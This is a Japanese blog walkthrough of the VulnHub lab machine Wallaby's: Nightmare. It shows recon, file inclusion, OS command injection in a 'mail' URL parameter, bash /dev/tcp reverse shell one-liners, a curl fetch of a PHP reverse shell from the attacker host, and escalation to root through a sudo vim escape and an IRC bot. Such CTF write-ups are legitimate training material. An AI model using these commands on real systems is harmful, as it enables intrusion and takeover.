【VulnHub】Wallaby's: Nightmare (v1.0.2) - walkthrouth

VulnHubのWallaby's: Nightmare (v1.0.2)を実施

Wallaby's: Nightmare (v1.0.2) ~ VulnHub

これはBoot2Rootマシンです。目標は、VMでroot権限を取得しようとすることです。リカバリISOなどを介してルートフラグを取得しようとしないでください、これは本質的に不正行為です!このマシンは、物理的にアクセスできないネットワークを介して攻撃されているように見せかけることが目的です。

私はそれをもう少し現実的に感じさせるためにこの機械をテーマにしました。あなたは架空のキャラクターサーバー(Wallabyという名前)に侵入し、彼に気付かれずにルートを取得しようとしているか、そうでなければあなたが間違った動きをすると難易度は上がります!頑張ってください、皆さん、楽しんでください!

rootを取得するのが目的、変な行動をすると難易度が上がるとある。

 

初期偵察

・netdiscoverでIPアドレスを特定

netdiscover -r 192.168.23.0/24
 

f:id:driasandlions55:20190206142401p:plain

IPアドレスは192.168.23.134

 

・公開されているポートを確認

nmap -sV -p- -A -n 192.168.23.134
 

f:id:driasandlions55:20190206142255p:plain

 

以下の情報を取得

  • 公開ポートは22,80,6667
  • ubuntu
  • Apache 2.4.18
  • OpenSSH 7.2p2

・Webページにアクセスしてみる

f:id:driasandlions55:20190206142735p:plain


ユーザ名を登録するとCTFが始まるという画面

注意書きで何かすると難易度があがるという記載があったので、

この時点での状態をvmwareのスナップショット機能で保存しておく。

 

ユーザ名を入れて進めてみる

 

f:id:driasandlions55:20190206143139p:plain

 
URLの'page=home’の部分に/etc/passwdを入れてみると
/etc/passwdの内容が表示される。

f:id:driasandlions55:20190206145014p:plain

mysql用のユーザとsteven?とircdというユーザがいることがわかった。
 
/etc/passwdが見れたので/root/にすれば行けるのかと思い入力してみると・・・

f:id:driasandlions55:20190206145207p:plain

どうやら罠にかかってしまったようだ。

 

再度nmapをかけたところ、ポート60080がopenになっている

f:id:driasandlions55:20190206153547p:plain

アクセスしてみる

f:id:driasandlions55:20190206153718p:plain



 ・Dirbusterを使用してブルートフォースを行う

     Dirbusterはkali linuxに標準で入っているツール

f:id:driasandlions55:20190206172101p:plain

赤枠を設定し、Startボタンで実行
 
実行した結果

f:id:driasandlions55:20190206172402p:plain

 
上記のページに一つずつアクセスしてみる。
"?page=mailer"のソースのコメントに以下の記載を見つけた。
<a href='/?page=mailer&mail=mail wallaby "message goes here"'>

 

f:id:driasandlions55:20190207115321p:plain

f:id:driasandlions55:20190207115755p:plain

"mail=mail wallaby"でmailを送付できるとのなのでどうやらこの部分に

OSコマンドインジェクションの脆弱性がありそうなので”mail=ls"に変更してみる

f:id:driasandlions55:20190207120744p:plain
lsの結果が表示されたのでOSコマンドインジェクションの脆弱性がある。

ncでリバースシェルを待ち受ければ侵入できそう。 

 

侵入

 ncでリバースシェルを待ち受け

 

・kali Linux

nc -lvp 5555

・アドレスバーのmail以降に以下を入力

mail=bash -i >& /dev/tcp/192.168.23.132/5555 0>&1

うまくいかない。

 

調べるとPHPを使用したリバースシェルがあるようなのでこれを使用

php-reverse-shell | pentestmonkey

※後ほど調べたところkali linuxの /usr/share/webshells/php/php-reverse-shell.php

    のファイルと同じものでした。

    kali linuxの/usr/share/webshellsには各言語のリバースシェルが用意されていました。

 

アドレスバーに以下のように入力

192.168.23.134:60080/?page=mailer&mail=curl http://192.168.23.132/rv.txt > rv.php;chmod 777 rv.php;ls -l rv.php

rv.phpwgetでダウンロードしてからlsで確認する。

 

 f:id:driasandlions55:20190207142949p:plain

配置は完了

 

192.168.23.134:60080/rv.phpでアクセスしリバースシェルを実行

f:id:driasandlions55:20190207143125p:plain

侵入成功

特権昇格

特権を与えられているコマンドを確認

f:id:driasandlions55:20190207143258p:plain

iptablesが該当

 

・iptalesの現状を確認

f:id:driasandlions55:20190207144837p:plain

外部からのircdがDROPされている。 

 

 ・iptalesを初期化

f:id:driasandlions55:20190207145001p:plain

 ・waldoユーザが実行しているプロセスを確認

f:id:driasandlions55:20190207151658p:plain

チャットソフトirssiのセッションを確認

 

/home/wallaby/.sopel/logs/raw.logに残っているログから

IRCチャットのチャンネル名が"#wallabyschat"であることがわかる

sopelもIRCチャットソフト

f:id:driasandlions55:20190207161035p:plain

 

・hexchatを使用してIRCサーバへ接続

設定内容
 サーバー:192.168.23.134:6667
 チャンネル:#wallabyschat
 

f:id:driasandlions55:20190207161456p:plain

接続成功

 

.help
 と入力するとwallabysbotから使えるコマンドの一覧が返ってくる。

f:id:driasandlions55:20190207162437p:plain

 

"/home/wallaby/.sopel/modules/run.py"にpythonスクリプトがあり、

f:id:driasandlions55:20190207163030p:plain

.run [コマンド]
 と入力すると指定したコマンドを実行してくれることがわかった。
 しかしwaldoユーザでないと実行できない。
 
sudoで許可されているコマンドに以下の記述があったのでこれを利用する。

f:id:driasandlions55:20190207164422p:plain

vimをwaldoユーザで起動後
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf 
:!bashで抜ける
 
すると・・・
waldoユーザを取得成功

f:id:driasandlions55:20190207165001p:plain

 
waldoユーザが起動していたIRCのセッションを終了させる

f:id:driasandlions55:20190207170129p:plain

これでkali Linux側のHexChatからwaldoユーザとしてログインすることができるはず

f:id:driasandlions55:20190207170409p:plain

.run ls
 と入力するとコマンドの実行結果が返ってくるのでこれを利用し、再度リバースシェルで待ち受ける
 
 

・kali Linux

nc -lvp 5554

・HexChatに以下を入力

.run bash -c "bash -i >& /dev/tcp/192.168.23.132/5554 0>&1"

 

wallabyユーザにてログイン完了

f:id:driasandlions55:20190207170857p:plain

 

sudo -l を確認するとすべてのコマンドをroot権限で実行可能なことがわかる

f:id:driasandlions55:20190207171001p:plain

 
なので遠慮なくsuする
sudo su -

 

無事flagを入手することができた


###CONGRATULATIONS###

You beat part 1 of 2 in the "Wallaby's Worst Knightmare" series of vms!!!!

This was my first vulnerable machine/CTF ever! I hope you guys enjoyed playing it as much as I enjoyed making it!

Come to IRC and contact me if you find any errors or interesting ways to root, I'd love to hear about it.

Thanks guys!
-Waldo